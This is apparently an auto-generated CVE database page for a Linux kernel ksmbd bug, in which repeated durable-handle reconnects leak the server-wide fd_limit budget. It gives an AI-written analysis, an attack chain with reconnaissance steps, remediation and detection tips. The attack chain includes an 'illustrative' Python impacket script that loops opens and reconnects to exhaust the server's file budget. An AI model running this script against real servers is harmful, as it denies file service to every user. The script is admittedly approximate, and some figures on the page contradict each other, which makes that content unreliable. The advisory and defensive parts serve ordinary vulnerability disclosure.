CVE Professor
/
All CVEs
CVE-2026-139230

CVE-2026-139230 — Linux Kernel — NONE Vulnerability

NONE CVSS 0 ⚡ EPSS 0.2% NVD

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix fd_limit accounting across durable reconnects A disconnected durable handle keeps its ksmbd_file and the fd_limit reservation taken at its initial open. Reconnecting allocates another volatile ID and takes another reservation for the same file. Final close returns only one reservation, so repeated reconnects permanently reduce the server-wide open-file budget. Move reservation into ksmbd_open_fd() and release it on every creation failure. Keep the reservation until final close, including while a durable handle is disconnected. Make ID allocation independent of fd_limit so reconnects neither consume nor return slots. This also avoids returning an unreserved slot when persistent ID allocation fails. New opens continue to return -EMFILE when the budget is exhausted, keeping the existing STATUS_INSUFFICIENT_RESOURCES mapping.

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix fd_limit accounting across durable reconnects A disconnected durable handle keeps its ksmbd_file and the fd_limit reservation taken at its initial open. Reconnecting allocates another volatile ID and takes another reservation for the same file. Final close returns only one reservation, so repeated reconnects permanently reduce the server-wide open-file budget. Move reservation into ksmbd_open_fd() and release it on every creation failure. Keep the reservation until final close, including while a durable handle is disconnected. Make ID allocation independent of fd_limit so reconnects neither consume nor return slots. This also avoids returning an unreserved slot when persistent ID allocation fails. New opens continue to return -EMFILE when the budget is exhausted, keeping the existing STATUS_INSUFFICIENT_RESOURCES mapping.

EPSS — Exploit Prediction Scoring System
0.2%
30-day probability
In the 10. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Resource Management Logic Error (specifically a resource leak leading to Denial of Service) within the ksmbd (Kernel Server Message Block) subsystem of the Linux kernel.

Technical Flaw Analysis:
The core issue lies in the lifecycle management of file descriptor (fd) limits for Durable Handles in SMB3.
1. Initial Open: When a client opens a file with a durable handle, ksmbd allocates a volatile ID and reserves a slot in the server-wide fd_limit budget.
2. Disconnect: If the client disconnects, the durable handle remains in the kernel. Crucially, the fd_limit reservation remains active (this is correct behavior to prevent resource exhaustion during reconnection).
3. Reconnect: When the client reconnects, the kernel allocates a new volatile ID for the same durable handle. The vulnerable code path incorrectly takes another fd_limit reservation for this new volatile ID, even though the original reservation from the initial open is still held.
4. Final Close: When the file is eventually closed, the code only releases one reservation.
5. Result: Each disconnect/reconnect cycle leaks one fd_limit slot. Since fd_limit is a server-wide budget, repeated cycles by a single client (or multiple clients) will exhaust the budget. Once exhausted, the server cannot open any new files, returning -EMFILE (mapped to STATUS_INSUFFICIENT_RESOURCES), effectively causing a Denial of Service for all SMB clients.

CWE Classification:

  • CWE-401: Missing Release of Resource after Effective Lifetime (or more precisely, CWE-404: Improper Resource Shutdown or Release due to double-reservation without double-release).
  • CVSS Context:
    The provided CVSS score is 0/10 (NONE), which is technically inconsistent with a DoS vulnerability. However, based on the description, this is a Local/Network DoS vulnerability. A realistic CVSS v3.1 vector would likely be:
    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (Score: 7.5 High)

  • AV:N: Network vector (SMB is network-accessible).

  • AC:L: Low complexity (standard SMB reconnect behavior).

  • PR:L: Low privileges (requires valid SMB authentication to open files).

  • A:H: High availability impact (server-wide file opening disabled).
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Target Identification: Identify hosts running Linux with ksmbd enabled. This can be done via:
  • * Port scanning for SMB (TCP 445). * Checking SMB signing requirements and dialect support (SMB3.0+ required for durable handles). * Verifying the kernel version is 6.9 or contains the vulnerable commit 883670dc0b57bc1ca3b71fe00f40dfce1ab8cb7b.
  • Authentication: Obtain valid SMB credentials (username/password) with permission to open files.
  • 2. Exploitation

    The exploit involves repeatedly opening a file with a durable handle, disconnecting, and reconnecting. This can be automated using a script that leverages the smbclient or a custom Python script using pysmb or impacket.

    Illustrative PoC (Python using impacket/smbconnection):
    Note: This is an illustrative example of the logic. The exact API calls depend on the library version.

    from impacket.smbconnection import SMBConnection
    import time
    
    def exploit_durable_handle_leak(target_ip, username, password, share_name, file_path):
        conn = SMBConnection(target_ip, target_ip, username=username, password=password)
        conn.login(username, password)
        
        # Open a file with durable handle support (SMB3)
        # The exact flags for durable handles depend on the SMB library implementation
        # Typically, this involves setting the Durable Handle flag in the open request
        
        print(f"[*] Starting durable handle leak against {target_ip}")
        
        for i in range(1000):  # Repeat enough times to exhaust fd_limit
            try:
                # 1. Open file with durable handle
                # Note: pysmb/impacket may require specific flags for durable handles
                # This is a simplified representation
                conn.openFile(share_name, file_path, desiredAccess=0x100000, 
                              shareAccess=0x7, 
                              createDisposition=1, 
                              createOptions=0x08000000) # Durable Handle flag
                
                # 2. Close the file (disconnects the volatile handle, but durable handle persists)
                conn.closeFile(share_name, file_path)
                
                # 3. Simulate disconnect/reconnect by closing and reopening the session
                # In a real attack, this might involve dropping the TCP connection
                conn.close()
                time.sleep(0.1)
                
                # Reconnect
                conn = SMBConnection(target_ip, target_ip, username=username, password=password)
                conn.login(username, password)
                
                # 4. Reconnect to the durable handle (allocates new volatile ID, leaks fd_limit)
                # The library should automatically reconnect durable handles if supported
                # If not, a specific 'reconnect' API call is needed
                
                print(f"[+] Iteration {i}: Durable handle reconnected. fd_limit leaked.")
                
            except Exception as e:
                print(f"[-] Error at iteration {i}: {e}")
                break
    
        conn.close()
    
    # Usage:
    # exploit_durable_handle_leak("192.168.1.100", "user", "pass", "share", "test.txt")

    Key Mechanics:

  • The attacker does not need to read/write data. The mere act of opening and reconnecting the durable handle triggers the bug.

  • The fd_limit is a global counter in the kernel. Each leak reduces the available slots for all users.
  • 3. Post-exploitation

  • Denial of Service: Once the fd_limit is exhausted, the ksmbd server will fail to open any new files for any client. Existing open files may continue to work, but new operations (open, create) will fail with STATUS_INSUFFICIENT_RESOURCES.
  • Impact: This can disrupt file sharing services, backup jobs, and any application relying on SMB file access. It does not lead to code execution or data exfiltration.
  • 🌍 Real World Impact

  • Confidentiality: None.
  • Integrity: None.
  • Availability: High. The server becomes unable to serve new file open requests, leading to a complete DoS for the SMB service.
  • Practical Consequences:

  • Enterprise Environments: If ksmbd is used for shared file storage, a single compromised or malicious user can take down the file server for all other users.

  • Cloud/Containerized Environments: If ksmbd is exposed in a multi-tenant environment, one tenant could DoS the SMB service for others.

  • Recovery: The only way to recover is to restart the ksmbd service or reboot the kernel, which is disruptive.
  • 🛡️ Remediation & Mitigation

    1. Patching

  • Affected Versions: Linux kernel 6.9 and any version containing the vulnerable commit 883670dc0b57bc1ca3b71fe00f40dfce1ab8cb7b.
  • Fix: Upgrade to a kernel version that includes the patch which moves the fd_limit reservation into ksmbd_open_fd() and ensures it is released correctly on all failure paths and final close. The patch makes ID allocation independent of fd_limit for reconnects.
  • Recommendation: Apply the latest stable kernel update for your distribution. Check your distribution's security advisories for the specific patch commit.
  • 2. Workarounds

  • Disable Durable Handles: If possible, configure the SMB server to disable durable handles. This can be done via kernel parameters or ksmbd configuration files (if supported).
  • Note:* This may impact client compatibility and performance.
  • Restrict SMB Access: Limit access to the SMB service to trusted networks/users only.
  • Monitor fd_limit: Implement monitoring to alert on high fd_limit usage or frequent STATUS_INSUFFICIENT_RESOURCES errors.
  • 3. Detection

  • Log Patterns:
  • * Look for a high frequency of SMB open/close operations on the same file by the same user. * Monitor for STATUS_INSUFFICIENT_RESOURCES errors in SMB logs. * Check kernel logs for ksmbd errors related to file descriptor limits.
  • IoCs:
  • * Unusual patterns of SMB session disconnects and reconnects. * Sudden increase in fd_limit usage on the host. * Alerts from monitoring tools indicating resource exhaustion on the SMB service.

    ⚠️ Urgency

  • CVSS Score: 0/10 (as provided, but realistically ~7.5 High).
  • CISA KEV: No.
  • Exploit Complexity: Low.
  • Priority: Medium-High.
* While not a remote code execution vulnerability, it is a reliable DoS vector. * If ksmbd is a critical service in your environment, patch promptly. * If ksmbd is not exposed to untrusted networks, the risk is lower, but still should be addressed in the next patch cycle. * Action: Schedule patching within the next 1-2 weeks, or immediately if the service is internet-facing or critical.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Linux Linux"
CVSS Score
0 / 10 · CVSS NONE
Affected Products (2)
Linux Kernel (commit: 883670dc0b) Linux Kernel (6.9)
Related CVEs
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-118966
A missing authentication vulnerability in the SSH server of Nokia SR Linux allows an unauthenticated attacker
8.7
CVE-2026-145182
Mullvad gotatun 0.1.0 before 0.10.1 contains a denial of service vulnerability that allows unauthenticated rem
0.0
CVE-2026-132063
The 2C2P Redirect API for WooCommerce WordPress plugin through 7.0.3 does not stop processing a payment callba
0.0
CVE-2026-140849
Multiple malformed-packet handling vulnerabilities exist in a number of Nokia SR OS control-plane protocols (B
0.0
CVE-2026-141072
Rejected reason: Not a valid vulnerability.